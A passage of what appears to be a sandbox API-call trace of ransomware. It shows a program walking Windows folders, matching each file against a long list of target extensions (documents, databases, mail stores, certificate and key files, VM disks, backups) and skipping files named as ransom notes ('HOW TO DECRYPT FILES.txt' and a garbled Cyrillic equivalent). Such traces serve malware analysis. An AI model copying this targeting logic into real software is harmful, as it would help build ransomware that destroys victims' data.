lstrlenA (lpString="*.qbm") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbo") returned 0 [0124.830] lstrlenA (lpString="*.qbo") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbx") returned 0 [0124.830] lstrlenA (lpString="*.qbx") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qba") returned 0 [0124.830] lstrlenA (lpString="*.qba") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qby") returned 0 [0124.830] lstrlenA (lpString="*.qby") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbj") returned 0 [0124.831] lstrlenA (lpString="*.qbj") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.ofx") returned 0 [0124.831] lstrlenA (lpString="*.ofx") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qif") returned 0 [0124.831] lstrlenA (lpString="*.qif") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mye") returned 0 [0124.831] lstrlenA (lpString="*.mye") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mbox") returned 0 [0124.831] lstrlenA (lpString="*.mbox") returned 6 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.eml") returned 0 [0124.831] lstrlenA (lpString="*.eml") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.pst") returned 0 [0124.831] lstrlenA (lpString="*.pst") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.ost") returned 0 [0124.831] lstrlenA (lpString="*.ost") returned 5 [0124.831] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.idx") returned 0 [0124.831] lstrlenA (lpString="*.idx") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.dbx") returned 0 [0124.832] lstrlenA (lpString="*.dbx") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.sql") returned 0 [0124.832] lstrlenA (lpString="*.sql") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mdb") returned 0 [0124.832] lstrlenA (lpString="*.mdb") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.fdb") returned 0 [0124.832] lstrlenA (lpString="*.fdb") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.wab") returned 0 [0124.832] lstrlenA (lpString="*.wab") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.dat") returned 0 [0124.832] lstrlenA (lpString="*.dat") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.txt") returned 0 [0124.832] lstrlenA (lpString="*.txt") returned 5 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.jpeg") returned 0 [0124.832] lstrlenA (lpString="*.jpeg") returned 6 [0124.832] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.jpg") returned 0 [0124.833] lstrlenA (lpString="*.jpg") returned 5 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.png") returned 0 [0124.833] lstrlenA (lpString="*.png") returned 5 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.php") returned 0 [0124.833] lstrlenA (lpString="*.php") returned 5 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.cs") returned 0 [0124.833] lstrlenA (lpString="*.cs") returned 4 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.cpp") returned 0 [0124.833] lstrlenA (lpString="*.cpp") returned 5 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.rar") returned 0 [0124.833] lstrlenA (lpString="*.rar") returned 5 [0124.833] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.zip") returned 0 [0124.833] lstrlenA (lpString="*.zip") returned 5 [0124.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.html") returned 0 [0124.845] lstrlenA (lpString="*.html") returned 6 [0124.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.htm") returned 0 [0124.845] lstrlenA (lpString="*.htm") returned 5 [0124.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.xlsx") returned 0 [0124.846] lstrlenA (lpString="*.xlsx") returned 6 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.xls") returned 0 [0124.846] lstrlenA (lpString="*.xls") returned 5 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mp4") returned 0 [0124.846] lstrlenA (lpString="*.mp4") returned 5 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.ppt") returned 0 [0124.846] lstrlenA (lpString="*.ppt") returned 5 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.pptx") returned 0 [0124.846] lstrlenA (lpString="*.pptx") returned 6 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.doc") returned 0 [0124.846] lstrlenA (lpString="*.doc") returned 5 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.dot") returned 0 [0124.846] lstrlenA (lpString="*.dot") returned 5 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.docx") returned 0 [0124.846] lstrlenA (lpString="*.docx") returned 6 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.7z") returned 0 [0124.846] lstrlenA (lpString="*.7z") returned 4 [0124.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.tar") returned 0 [0124.846] lstrlenA (lpString="*.tar") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.bz2") returned 0 [0124.847] lstrlenA (lpString="*.bz2") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.gz") returned 0 [0124.847] lstrlenA (lpString="*.gz") returned 4 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mkv") returned 0 [0124.847] lstrlenA (lpString="*.mkv") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.eml") returned 0 [0124.847] lstrlenA (lpString="*.eml") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.msg") returned 0 [0124.847] lstrlenA (lpString="*.msg") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.edb") returned 0 [0124.847] lstrlenA (lpString="*.edb") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.accdb") returned 0 [0124.847] lstrlenA (lpString="*.accdb") returned 7 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.odb") returned 0 [0124.847] lstrlenA (lpString="*.odb") returned 5 [0124.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.java") returned 0 [0124.847] lstrlenA (lpString="*.java") returned 6 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.asm") returned 0 [0124.848] lstrlenA (lpString="*.asm") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.pfx") returned 0 [0124.848] lstrlenA (lpString="*.pfx") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.pem") returned 0 [0124.848] lstrlenA (lpString="*.pem") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.p12") returned 0 [0124.848] lstrlenA (lpString="*.p12") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.gpg") returned 0 [0124.848] lstrlenA (lpString="*.gpg") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.vsd") returned 0 [0124.848] lstrlenA (lpString="*.vsd") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.odg") returned 0 [0124.848] lstrlenA (lpString="*.odg") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.raw") returned 0 [0124.848] lstrlenA (lpString="*.raw") returned 5 [0124.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.nef") returned 0 [0124.848] lstrlenA (lpString="*.nef") returned 5 [0124.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.svg") returned 0 [0124.849] lstrlenA (lpString="*.svg") returned 5 [0124.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.psd") returned 0 [0124.849] lstrlenA (lpString="*.psd") returned 5 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.vmx") returned 0 [0124.850] lstrlenA (lpString="*.vmx") returned 5 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.vmdk") returned 0 [0124.850] lstrlenA (lpString="*.vmdk") returned 6 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.vdi") returned 0 [0124.850] lstrlenA (lpString="*.vdi") returned 5 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.lay6") returned 0 [0124.850] lstrlenA (lpString="*.lay6") returned 6 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.mpeg") returned 0 [0124.850] lstrlenA (lpString="*.mpeg") returned 6 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.djvu") returned 0 [0124.850] lstrlenA (lpString="*.djvu") returned 6 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.tiff") returned 0 [0124.850] lstrlenA (lpString="*.tiff") returned 6 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.backup") returned 0 [0124.850] lstrlenA (lpString="*.backup") returned 8 [0124.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.pdf") returned 0 [0124.851] lstrlenA (lpString="*.pdf") returned 5 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.cert") returned 0 [0124.851] lstrlenA (lpString="*.cert") returned 6 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.docm") returned 0 [0124.851] lstrlenA (lpString="*.docm") returned 6 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.xlsm") returned 0 [0124.851] lstrlenA (lpString="*.xlsm") returned 6 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.dwg") returned 0 [0124.851] lstrlenA (lpString="*.dwg") returned 5 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.nd") returned 0 [0124.851] lstrlenA (lpString="*.nd") returned 4 [0124.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.tlg") returned 0 [0124.851] lstrlenA (lpString="*.tlg") returned 5 [0124.852] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590c0a30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WsatConfig.ni.exe.aux", cAlternateFileName="WSATCO~1.AUX")) returned 0 [0124.853] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.853] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="93576f0aca370337022c4e4d07012e94", cAlternateFileName="93576F~1")) returned 0 [0124.853] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.853] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730057, dwReserved1=0x740061, cFileName="XamlBuildTask", cAlternateFileName="XAMLBU~1")) returned 1 [0124.853] lstrcmpA (lpString1=".", lpString2="XamlBuildTask") returned -1 [0124.853] lstrcmpA (lpString1="..", lpString2="XamlBuildTask") returned -1 [0124.853] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="XamlBuildTask" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask" [0124.854] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask") returned 60 [0124.854] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.856] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.856] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.856] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.856] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fc28b565eb446da53e3e3a4448212913", cAlternateFileName="FC28B5~1")) returned 1 [0124.856] lstrcmpA (lpString1=".", lpString2="fc28b565eb446da53e3e3a4448212913") returned -1 [0124.856] lstrcmpA (lpString1="..", lpString2="fc28b565eb446da53e3e3a4448212913") returned -1 [0124.856] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\*.*") returned="*.*" [0124.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\", lpString2="fc28b565eb446da53e3e3a4448212913" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913" [0124.857] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913") returned 93 [0124.857] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.857] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.857] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb91945f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.857] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.857] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.857] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb916e490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb916e490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb91945f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x96e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XamlBuildTask.ni.dll", cAlternateFileName="XAMLBU~1.DLL")) returned 1 [0124.857] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XamlBuildTask.ni.dll") returned -1 [0124.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XamlBuildTask.ni.dll") returned -1 [0124.857] lstrcmpiA (lpString1="", lpString2="XamlBuildTask.ni.dll") returned -1 [0124.857] PathFindFileNameA 